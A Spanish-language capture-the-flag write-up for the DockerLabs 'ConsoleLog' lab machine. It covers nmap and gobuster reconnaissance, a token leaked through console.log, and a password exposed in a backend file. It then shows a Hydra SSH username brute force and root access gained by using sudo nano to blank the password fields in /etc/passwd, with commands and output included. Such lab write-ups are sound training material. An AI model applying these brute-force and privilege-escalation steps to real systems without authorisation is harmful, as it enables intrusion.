😹 👤 Máquinas Ciberseguridad > DockerLabs

22. Máquina: ConsoleLog(Fácil)

- 1. Descubrimiento de puertos y servicios con Nmap:
 - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando: nmap -sVC 172.17.0.2 -Pn
 - Resultado: Se encontró los servicios HTTP en los puertos 80 y 3000 (error) y SSH en el puerto 5000 abiertos.

2. Navegación servicio HTTP:

• En el código fuente de la página principal se observa un botón de prueba. Si inspeccionamos el código y vamos al script javascript utilizado para la lógica del botón se encuentra un console.log con información útil:

```
console.log("Para opciones de depuracion, el token de /recurso/ es tokentraviesito");
```

3. Búsqueda de directorios activos con Gobuster:

- Usamos Gobuster para encontrar directorios activos en el servicio HTTP.
 - Comando: gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
 - Resultado: Se encontró algún directorio interesante como el /backend y /javascript, pero en este no tenemos permisos para inspeccionarlo.

```
/.html (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 234]
/backend (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/.html (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
```

4. Insepcción directorio /backend:

• En el directorio /backend podemos ver todos los archivos detrás del servicio ejecutado. Inspeccionándolo, podemos encontrar que en el file server.js, aparece la verificación del token mencionado anteriormente seguido de una respuesta con el contenido de la contraseña: lapassworddebackupmaschingonadetodas, así que teniendo estas credenciales las probaremos contra el servicio ssh.

5. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando la contraseña encontrada en el file *server.js* del directorio /backend del servicio HTTP y como usuarios la wordlist del *rockyou.txt*.
 - Comandos: hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.2:5000 -I
 - Resultado: Hemos encontrado el usuario válido lovely para la contraseña lapassworddebackupmaschingonadetodas.

```
(root kali)-[/home/kali/Desktop/Maquinas Dockerlabs Facil]

# hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.2:5000 -I

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizat this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 14:14:40

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -

[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:14344398/p:1), ~896525 tries per task

[DATA] attacking ssh://172.17.0.2:5000/

[5000][ssh] host: 172.17.0.2 login: lovely password: lapassworddebackupmaschingonadetodas
```

6. Verificación permisos lovely.

- Una vez dentro del usuario lovely en la máquina víctima con las credenciales encontradas, vamos a verificar que permisos tiene este usuario sobre la máquina víctima.
 - **Comando**: ssh lovely@172.17.0.2 -p 5000 sudo -l
 - Resultado: Lovely tiene máximos privilegios en la utilización del binario nano, útil para modificar el contenido de cualquier archivo del sistema.

7. Edición archvio /etc/passwd:

- Teniendo máximos privilegios en la ejecución del binario nano, podemos editar el file /etc/passwd, muy útil ya que editando la entrada de la autenticación para ser root (eliminando la x en la entrada de los usuarios) ya podemos escalar privilegios obteniendo los máximos del sistema, es decir cambiar de usuario sin necesidad de autenticación en estos.
 - Comando: sudo nano /etc/passwd
 - Resultado: Edición el archivo passwa con privilegios máximos, evitando así la autenticación al cambiar de usuario.

```
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

```
tester::1000:1000::/home/tester:/bin/bash
lovely::1001:1001:lovely,,,:/home/lovely:/bin/bash
```

8. Escalada a máximos privilegios:

- Una vez editado el file *passwa* y guardado eliminando la x en las entradas de los usuarios para evitar la autenticación al loggearnos, podemos utilizar este cambio para loggearnos como usuarios *root*.
 - Comando: su root
 - Resultado: Una vez ejecutado, ya somos root con privilegios máximos sin necesidad de contraseña gracias a poder editar el file /etc/passwd. Fin de la intrusión con máximos privilegios!

```
lovely@be6b0561cf44:/home$ su tester
tester@be6b0561cf44:/home$ su root
root@be6b0561cf44:/home# cd /root
root@be6b0561cf44:~# whoami
root
root@be6b0561cf44:~# ls -a
. . . .bash_history .bashrc .local .npm .profile .ssh
root@be6b0561cf44:~# xDaliK
bash: xDaliK: command not found
```